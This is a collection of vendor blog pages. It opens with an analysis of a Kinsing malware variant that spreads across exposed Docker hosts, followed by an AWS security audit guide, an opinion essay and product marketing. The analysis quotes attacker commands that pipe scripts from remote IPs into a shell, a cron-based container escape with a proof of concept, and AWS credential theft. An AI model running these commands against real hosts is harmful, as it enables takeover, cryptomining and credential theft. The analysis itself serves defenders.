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We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

90% of organizations use a multi-cloud operating model to help achieve their business goals in a 2022 survey. AWS (Amazon Web Services)... Cloud Security The Complete Guide to Perform an AWS Security Audit Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 7/27/23 Published 90% of organizations use a multi-cloud operating model to help achieve their business goals in a 2022 survey. AWS (Amazon Web Services) is among the biggest cloud computing platforms businesses use today. It offers cloud storage via data warehouses or data lakes, data analytics, machine learning, security, and more. Given the prevalence of multi-cloud environments, cloud security is a major concern. 89% of respondents in the above survey said security was a key aspect of cloud success. Security audits are essential for network security and compliance. AWS not only allows audits but recommends them and provides several tools to help, like AWS Audit Manager. In this guide, we share the best practices for an AWS security audit and a detailed step-by-step list of how to perform an AWS audit. We have also explained the six key areas to review. Best practices for an AWS security audit There are three key considerations for an effective AWS security audit: Time it correctly You should perform a security audit: On a regular basis. Perform the steps described below at regular intervals. When there are changes in your organization, such as new hires or layoffs. When you change or remove the individual AWS services you use. This ensures you have removed unnecessary permissions. When you add or remove software to your AWS infrastructure. When there is suspicious activity, like an unauthorized login. Be thorough When conducting a security audit: Take a detailed look at every aspect of your security configuration, including those that are rarely used. Do not make any assumptions. Use logic instead. If an aspect of your security configuration is unclear, investigate why it was instated and the business purpose it serves. Simplify your auditing and management process by using unified cloud security platforms . Leverage the shared responsibility model AWS uses a shared responsibility model. It splits the responsibility for the security of cloud services between the customer and the vendor. A cloud user or client is responsible for the security of: Digital identities Employee access to the cloud Data and objects stored in AWS Any third-party applications and integrations AWS handles the security of: The global AWS online infrastructure The physical security of their facilities Hypervisor configurations Managed services like maintenance and upgrades Personnel screening Many responsibilities are shared by both the customer and the vendor, including: Compliance with external regulations Security patches Updating operating systems and software Ensuring network security Risk management Implementing business continuity and disaster recovery strategies The AWS shared responsibility model assumes that AWS must manage the security of the cloud. The customer is responsible for security within the cloud. Step-by-step process for an AWS security audit An AWS security audit is a structured process to analyze the security of your AWS account. It lets you verify security policies and best practices and secure your users, roles, and groups. It also ensures you comply with any regulations. You can use these steps to perform an AWS security audit: Step 1: Choose a goal and audit standard Setting high-level goals for your AWS security audit process will give the audit team clear objectives to work towards. This can help them decide their approach for the audit and create an audit program. They can outline the steps they will take to meet goals. Goals are also essential to measure the organization’s current security posture. You can speed up this process using a Cloud Security Posture Management (CSPM) tool . Next, define an audit standard. This defines assessment criteria for different systems and security processes. The audit team can use the audit standard to analyze current systems and processes for efficiency and identify any risks. The assessment criteria drive consistent analysis and reporting. Step 2: Collect and review all assets Managing your AWS system starts with knowing what resources your organization uses. AWS assets can be data stores, applications, instances, and the data itself. Auditing your AWS assets includes: Create an asset inventory listing: Gather all assets and resources used by the organization. You can collect your assets using AWS Config, third-party tools, or CLI (Command Line Interface) scripts. Review asset configuration: Organizations must use secure configuration management practices for all AWS components. Auditors can validate if these standards are competent to address known security vulnerabilities. Evaluate risk: Asses how each asset impacts the organization’s risk profile. Integrate assets into the overall risk assessment program. Ensure patching: Verify that AWS services are included in the internal patch management process. Step 3: Review access and identity Reviewing account and asset access in AWS is critical to avoid cybersecurity attacks and data breaches. AWS Identity and Access Management (IAM ) is used to manage role-based access control. This dictates which users can access and perform operations on resources. Auditing access controls include: Documenting AWS account owners: List and review the main AWS accounts, known as the root accounts. Most modern teams do not use root accounts at all, but if needed, use multiple root accounts. Implement multi-factor authentication (MFA): Implement MFA for all AWS accounts based on your security policies. Review IAM user accounts: Use the AWS Management Console to identify all IAM users. Evaluate and modify the permissions and policies for all accounts. Remove old users. Review AWS groups: AWS groups are a collection of IAM users. Evaluate each group and the permissions and policies assigned to them. Remove old groups. Check IAM roles: Create job-specific IAM roles. Evaluate each role and the resources it has access to. Remove roles that have not been used in 90 days or more. Define monitoring methods: Install monitoring methods for all IAM accounts and roles. Regularly review these methods. Use least privilege access: The Principle of Least Privilege Access (PoLP) ensures users can only access what they need to complete a task. It prevents overly-permissive access controls and the misuse of systems and data. Implement access logs: Use access logs to track requests to access resources and changes made to resources. Step 4: Analyze data flows Protecting all data within the AWS ecosystem is vital for organizations to avoid data leaks. Auditors must understand the data flow within an organization. This includes how data moves from one system to another in AWS, where data is stored, and how it is protected. Ensuring data protection includes: Assess data flow: Check how data enters and exits every AWS resource. Identify any vulnerabilities in the data flows and address them. Ensure data encryption: Check if all data is encrypted at rest and in transit. Review connection methods: Check connection methods to different AWS systems. Depending on your workloads, this could include AWS Console, S3, RDS (relational database service), and more. Use key management services: Ensure data is encrypted at rest using AWS key management services. Use multi-cloud management services: Since most organizations use more than one cloud system, using multi-cloud CSPM software is essential. Step 5: Review public resources Elements within the AWS ecosystem are intentionally public-facing, like applications or APIs. Others are accidentally made public due to misconfiguration. This can lead to data loss, data leaks, and unintended access to accounts and services. Common examples include EBS snapshots, S3 objects, and databases. Identifying these resources helps remediate risks by updating access controls. Evaluating public resources includes: Identifying all public resources: List all public-facing resources. This includes applications, databases, and other services that can access your AWS data, assets, and resources. Conduct vulnerability assessments: Use automated tools or manual techniques to identify vulnerabilities in your public resources. Prioritize the risks and develop a plan to address them. Evaluate access controls: Review the access controls for each public resource and update them as needed. Remove unauthorized access using security controls and tools like S3 Public Access Block and Guard Duty. Review application code: Check the code for all public-facing applications for vulnerabilities that attackers could exploit. Conduct tests for common risks such as SQL injection, cross-site scripting (XSS), and buffer overflows. Key AWS areas to review in a security audit There are six essential parts of an AWS system that auditors must assess to identify risks and vulnerabilities: Identity access management (IAM) AWS IAM manages the users and access controls within the AWS infrastructure. You can audit your IAM users by: List all IAM users, groups, and roles. Remove old or redundant users. Also, remove these users from groups. Delete redundant or old groups. Remove IAM roles that are no longer in use. Evaluate each role’s trust and access policies. Review the policies assigned to each group that a user is in. Remove old or unnecessary security credentials. Remove security credentials that might have been exposed. Rotate long-term access keys regularly. Assess security credentials to identify any password, email, or data leaks. These measures prevent unauthorized access to your AWS system and its data. Virtual private cloud (VPC) Amazon Virtual Private Cloud (VPC) enables organizations to deploy AWS services on their own virtual network. Secure your VPC by: Checking all IP addresses, gateways, and endpoints for vulnerabilities. Creating security groups to control the inbound and outbound traffic to the resources within your VPC. Using route tables to check where network traffic from each subnet is directed. Leveraging traffic mirroring to copy all traffic from network interfaces. This data is sent to your security and monitoring applications. Using VPC flow logs to capture information about all IP traffic going to and from the network interfaces. Regularly monitor, update, and assess all of the above elements. Elastic Compute Cloud (EC2) Amazon Elastic Compute Cloud (EC2) enables organizations to develop and deploy applications in the AWS Cloud. Users can create virtual computing environments, known as instances, to launch as servers. You can secure your Amazon EC2 instances by: Review key pairs to ensure that login information is secure and only authorized users can access the private key. Eliminate all redundant EC2 instances. Create a security group for each EC2 instance. Define rules for inbound and outbound traffic for every instance. Review security groups regularly. Eliminate unused security groups. Use Elastic IP addresses to mask instance failures and enable instant remapping. For increased security, use VPCs to deploy your instances. Storage (S3) Amazon S3, or Simple Storage Service, is a cloud-native object storage platform. It allows users to store and manage large amounts of data within resources called buckets. Auditing S3 involves: Analyze IAM access controls Evaluate access controls given using Access Control Lists (ACLs) and Query String Authentication Re-evaluate bucket policies to ensure adequate object permissions Check S3 audit logs to identify any anomalies Evaluate S3 security configurations like Block Public Access, Object Ownership, and PrivateLink. Use Amazon Macie to get alerts when S3 buckets are publically accessible, unencrypted, or replicated. Mobile apps Mobile applications within your AWS environment must be audited. Organizations can do this by: Review mobile apps to ensure none of them contain access keys. Use MFA for all mobile apps. Check for and remove all permanent credentials for applications. Use temporary credentials so you can frequently change security keys. Enable multiple login methods using providers like Google, Amazon, and Facebook. Threat detection and incident response The AWS cloud infrastructure must include mechanisms to detect and react to security incidents. To do this, organizations and auditors can: Create audit logs by enabling AWS CloudTrail, storing and access logs in S3, CloudWatch logs, WAF logs, and VPC Flow Logs. Use audit logs to track assessment trails and detect any deviations or notable events Review logging and monitoring policies and procedures Ensure all AWS services, including EC2 instances, are monitored and logged Install logging mechanisms to centralize logs on one server and in proper formats Implement a dynamic Incident Response Plan for AWS services. Include policies to mitigate cybersecurity incidents and help with data recovery. Include AWS in your Business Continuity Plan (BCP) to improve disaster recovery. Dictate policies related to preparedness, crisis management elements, and more. Top tools for an AWS audit You can use any number of AWS security options and tools as you perform your audit. However, a Cloud-Native Application Protection Platform (CNAPP) like Prevasio is the ideal tool for an AWS audit. It combines the features of multiple cloud security solutions and automates security management. Prevasio increases efficiency by enabling fast and secure agentless cloud security configuration management. It supports Amazon AWS, Microsoft Azure, and Google Cloud. All security issues across these vendors are shown on a single dashboard. You can also perform a manual comprehensive AWS audit using multiple AWS tools: Identity and access management: AWS IAM and AWS IAM Access Analyzer Data protection: AWS Macie and AWS Secrets Manager Detection and monitoring: AWS Security Hub, Amazon GuardDuty, AWS Config, AWS CloudTrail, AWS CloudWatch Infrastructure protection: AWS Web Application Firewall, AWS Shield A manual audit of different AWS elements can be time-consuming. Auditors must juggle multiple tools and gather information from various reports. A dynamic platform like Prevasio speeds up this process. It scans all elements within your AWS systems in minutes and instantly displays any threats on the dashboard. The bottom line on AWS security audits Security audits are essential for businesses using AWS infrastructures. Maintaining network security and compliance via an audit prevents data breaches, prevents cyberattacks, and protects valuable assets. A manual audit using AWS tools can be done to ensure safety. However, an audit of all AWS systems and processes using Prevasio is more comprehensive and reliable. It helps you identify threats faster and streamlines the security management of your cloud system. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Nick Ellsmore is an Australian cybersecurity professional whose thoughts on the future of cybersecurity are always insightful. Having a... Cloud Security Errare humanum est Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/25/21 Published Nick Ellsmore is an Australian cybersecurity professional whose thoughts on the future of cybersecurity are always insightful. Having a deep respect for Nick, I really enjoyed listening to his latest podcast “Episode 79 Making the cyber sector redundant with Nick Ellsmore” . As Nick opened the door to debate on “all the mildly controversial views” he has put forward in the podcast, I decided to take a stab at a couple of points made by Nick. For some mysterious reason, these points have touched my nerve. So, here we go. Nick: The cybersecurity industry, we spent so long trying to get people to listen to us and take the issue seriously, you know, we’re now getting that, you know. Are the businesses really responding because we were trying to get people to listen to us? Let me rephrase this question. Are the businesses really spending more on cybersecurity because we were trying to get people to listen to us? The “cynical me” tells me No. Businesses are spending more on cybersecurity because they are losing more due to cyber incidents. It’s not the number of incidents; it’s their impact that is increasingly becoming devastating. Over the last ten years, there were plenty of front-page headliners that shattered even seemingly unshakable businesses and government bodies. Think of Target attack in 2013, the Bank of Bangladesh heist in 2016, Equifax breach in 2017, SolarWinds hack in 2020 .. the list goes on. We all know how Uber tried to bribe attackers to sweep the stolen customer data under the rug. But how many companies have succeeded in doing so without being caught? How many cyber incidents have never been disclosed? These headliners don’t stop. Each of them is another reputational blow, impacted stock options, rolled heads, stressed-out PR teams trying to play down the issue, knee-jerk reaction to acquire snake-oil-selling startups, etc. We’re not even talking about skewed election results (a topic for another discussion). Each one of them comes at a considerable cost. So no wonder many geniuses now realise that spending on cybersecurity can actually mitigate those risks. It’s not our perseverance that finally started paying off. It’s their pockets that started hurting. Nick: I think it’s important that we don’t lose sight of the fact that this is actually a bad thing to have to spend money on. Like, the reason that we’re doing this is not healthy. .. no one gets up in the morning and says, wow, I can’t wait to, you know, put better locks on my doors. It’s not the locks we sell. We sell gym membership. We want people to do something now to stop bad things from happening in the future. It’s a concept of hygiene, insurance, prevention, health checks. People are free not to pursue these steps, and run their business the way they used to .. until they get hacked, get into the front page, wondering first “Why me?” and then appointing a scapegoat. Nick: And so I think we need to remember that, in a sense, our job is to create the entire redundancy of this sector. Like, if we actually do our job, well, then we all have to go and do something else, because security is no longer an issue. It won’t happen due to 2 main reasons. Émile Durkheim believed in a “society of saints”. Unfortunately, it is a utopia. Greed, hunger, jealousy, poverty are the never-ending satellites of the human race that will constantly fuel crime. Some of them are induced by wars, some — by corrupt regimes, some — by sanctions, some — by imperfect laws. But in the end — there will always be Haves and Have Nots, and therefore, fundamental inequality. And that will feed crime. “Errare humanum est” , Seneca. To err is human. Because of human errors, there will always be vulnerabilities in code. Because of human nature (and as its derivative, geopolitical or religious tension, domination, competition, nationalism, fight for resources), there will always be people willing to and capable of exploiting those vulnerabilities. Mix those two ingredients — and you get a perfect recipe for cybercrime. Multiply that with never-ending computerisation, automation, digital transformation, and you get a constantly growing attack surface. No matter how well we do our job, we can only control cybercrime and keep the lid on it, but we can’t eradicate it. Thinking we could would be utopic. Another important consideration here is budget constraints. Building proper security is never fun — it’s a tedious process that burns cash but produces no tangible outcome. Imagine a project with an allocated budget B to build a product P with a feature set F, in a timeframe T. Quite often, such a project will be underfinanced, potentially leading to a poor choice of coders, overcommitted promises, unrealistic expectations. Eventually leading to this (oldie, but goldie): Add cybersecurity to this picture, and you’ll get an extra step that seemingly complicates everything even further: The project investors will undoubtedly question why that extra step was needed. Is there a new feature that no one else has? Is there a unique solution to an old problem? None of that? Then what’s the justification for such over-complication? Planning for proper cybersecurity built-in is often perceived as FUD. If it’s not tangible, why do we need it? Customers won’t see it. No one will see it. Scary stories in the press? Nah, that’ll never happen to us. In some way, extra budgeting for cybersecurity is anti-capitalistic in nature. It increases the product cost and, therefore, its price, making it less competitive. It defeats the purpose of outsourcing product development, often making outsourcing impossible. From the business point of view, putting “Sec” into “DevOps” does not make sense. That’s Ok. No need. .. until it all gloriously hits the fan, and then we go back to STEP 1. Then, maybe, just maybe, the customer will say, “If we have budgeted for that extra step, then maybe we would have been better off”. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Driving Security Through Observability: Transforming Application Risk into Resilience WhitePaper Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

A network security policy is a critical part of your IT cyber policy It helps determine what traffic is allowed on your network, keeping critical assets secure Network security policy examples & procedures Introduction A network security policy delineates guidelines for computer network access, determines policy enforcement, and lays out the architecture of the organization’s network security environment and defines how the security policies are implemented throughout the network architecture. Network security policies describes an organization’s security controls. It aims to keep malicious users out while also mitigating risky users within your organization. The initial stage to generate a policy is to understand what information and services are available, and to whom, what the potential is for damage, and what protections are already in place. The security policy should define the policies that will be enforced – this is done by dictating a hierarchy of access permissions – granting users access to only what they need to do their work. These policies need to be implemented in your organization written security policies and also in your IT infrastructure – your firewall and network controls’ security policies. Schedule a Demo What is network security policy management? Network security policy management refers to how your security policy is designed and enforced. It refers to how firewalls and other devices are managed. Schedule a Demo Cyber Security Policies as Part of IT Security Policy A good IT security policy contains the following essentials: Purpose Audience Information security objective Authority and access control policy – This includes your physical security policy Data classification Data support and operations Security awareness and behavior Responsibility, rights, and duties A cyber security policy is part of your overall IT security. A cybersecurity policy defines acceptable cybersecurity procedures. Cybersecurity procedures explain the rules for how anyone with potential network access can access your corporate resources, whether they are in your physical offices, work remotely, or work in another company’s offices (for example, customers and suppliers), send data over networks. They also determine how organization’s manage security patches as part of their patch management policy. A good cybersecurity policy includes the systems that your business is using to protect your critical information and are already in place, including firewalls. It should align with your network segmentation and micro-segmentation initiatives. Schedule a Demo How AlgoSec helps you manage your network security policy? Network policy management tools and solutions, such as the AlgoSec Security Management Solution , are available. Organizations use them to automate tasks, improving accuracy and saving time. The AlgoSec Security Management Solution simplifies and automates network security policy management to make your enterprise more agile, more secure and more compliant – all the time. AlgoSec is unique because it manages the entire lifecycle to ensure ongoing, secure connectivity for your business applications. It automatically builds a network map of your entire hybrid network and can map and intelligently understand your network security policy across your hybrid and multi-vendor network estate. You can auto-discover application connectivity requirements, proactively analyze risk, rapidly plan and execute network security changes and securely decommission firewall rules – all with zero-touch and seamlessly orchestrated across your heterogeneous public or private cloud, and on-premise network environment. Schedule a Demo Select a size Introduction What is network security policy management? Cyber Security Policies as Part of IT Security Policy How AlgoSec helps you manage your network security policy? Get the latest insights from the experts Application-aware network security! Securing the business applications on your network Keep Reading Avoiding the Security/Agility Tradeoff with Network Security Policy Automation Keep Reading Examining the Security Policy Management Maturity Model Keep Reading Choose a better way to manage your network

The fusion of Cloud and AI is more than just a technological advancement; it’s a paradigm shift. As businesses harness the combined power... Hybrid Cloud Security Management The confluence of cloud and AI: charting a secure path in the age of intelligent innovation Adel Osta Dadan 2 min read Adel Osta Dadan Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/20/23 Published The fusion of Cloud and AI is more than just a technological advancement; it’s a paradigm shift. As businesses harness the combined power of these transformative technologies, the importance of a security-centric approach becomes increasingly evident. This exploration delves deeper into the strategic significance of navigating the Cloud-AI nexus with a focus on security and innovation. Cloud and AI: catalysts for business transformation The cloud provides the foundational infrastructure, while AI infuses intelligence, making systems smarter and more responsive. Together, they’re reshaping industries, driving efficiencies, and creating new business models. However, with these opportunities come challenges. Ensuring robust security in this intertwined environment is not just a technical necessity but a strategic imperative. As AI algorithms process vast datasets in the cloud, businesses must prioritize the protection and integrity of this data to build and maintain trust. Building trust in intelligent systems In the age of AI, data isn’t just processed; it’s interpreted, analyzed, and acted upon. This autonomous decision-making demands a higher level of trust. Ensuring the confidentiality, integrity, and availability of data in the cloud becomes paramount. Beyond just data protection, it’s about ensuring that AI-driven decisions, which can have real-world implications, are made based on secure and untampered data. This trust forms the bedrock of AI’s value proposition in the cloud. Leadership in the Cloud-AI era Modern leaders are not just visionaries; they’re also gatekeepers. They stand at the intersection of innovation and security, ensuring that as their organizations harness AI in the cloud, ethical considerations and security protocols are front and center. This dual role is challenging but essential. As AI-driven applications become integral to business operations, leaders must champion a culture where security and innovation coexist harmoniously. Seamless integration and the role of DevSecOps Developing AI applications in the cloud is a complex endeavor. It requires a seamless integration of development, operations, and crucially, security. Enter DevSecOps. This approach ensures that security is embedded at every stage of the development lifecycle. From training AI models to deploying them in cloud environments, security considerations are integral, ensuring that the innovations are both groundbreaking and grounded in security. Collaborative security for collective intelligence AI’s strength lies in its ability to derive insights from vast datasets. In the interconnected world of the cloud, data flows seamlessly across boundaries, making collaborative security vital. Protecting this collective intelligence requires a unified approach, where security protocols are integrated across platforms, tools, and teams. Future-proofing the Cloud-AI strategy The technological horizon is ever-evolving. The fusion of Cloud and AI is just the beginning, and as businesses look ahead, embedding security into their strategies is non-negotiable. It’s about ensuring that as new technologies emerge and integrate with existing systems, the foundation remains secure and resilient. AlgoSec’s unique value proposition At AlgoSec, we understand the intricacies of the Cloud-AI landscape. Our application-based approach ensures that businesses have complete visibility into their digital assets. With AlgoSec, organizations gain a clear view of their application connectivity, ensuring that security policies align with business processes. As AI integrates deeper into cloud strategies, AlgoSec’s solutions empower businesses to innovate confidently, backed by a robust security framework. Our platform provides holistic, business-level visibility across the entire network infrastructure. With features like AlgoSec AppViz and AppChange, businesses can seamlessly identify network security vulnerabilities, plan migrations, accelerate troubleshooting, and adhere to the highest compliance standards. By taking an application-centric approach to security policy management, AlgoSec bridges the gap between IT teams and application delivery teams, fostering collaboration and ensuring a heightened security posture. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Cisco and AlgoSec Partner solution brief- Better together for risk management and audit Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Discover the Algosec platform's comprehensive network security management solutions for seamless application connectivity and compliance. Secure your application delivery pipeline Schedule a demo Your organization needs to move fast and deliver applications quickly, but without compromising on security. Security threats are increasing, while apps need to be delivered at a rapid pace. This puts pressure on your organization and application delivery pipeline. All stages in the application delivery pipeline need to work smoothly. If there’s one broken link in the chain, the pipeline bursts, and both agility and security are sacrificed. With the AlgoSec platform, your connectivity and security policies are covered to ensure that you can securely accelerate your application delivery. The AlgoSec platform automates application connectivity and security policy across the hybrid network estate, including public cloud, private cloud, containers, and on-premises networks. How does it work? AlgoSec sits at the heart of the security network and integrates with the leading network security, clouds, application-dependency vendors, and DevOps solutions. Additionally, AlgoSec uses its unique IP technology to complete the security picture by listening to the network, associate firewall rules with specific applications, and prevent compliance violations. Put your applications first Securely provisioning new application connectivity for greenfield deployments is challenging. That’s why the AlgoSec platform integrates with CI/CD pipelines & DevOps solutions. Don’t miss application dependencies with your brownfield deployment. The AlgoSec platform intelligently analyzes and discovers application dependencies across your already-deployed applications. Securely deploy across your entire network Your network is 